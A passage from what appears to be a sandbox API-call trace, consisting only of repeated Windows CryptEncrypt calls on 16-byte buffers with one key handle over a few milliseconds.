dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.607] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 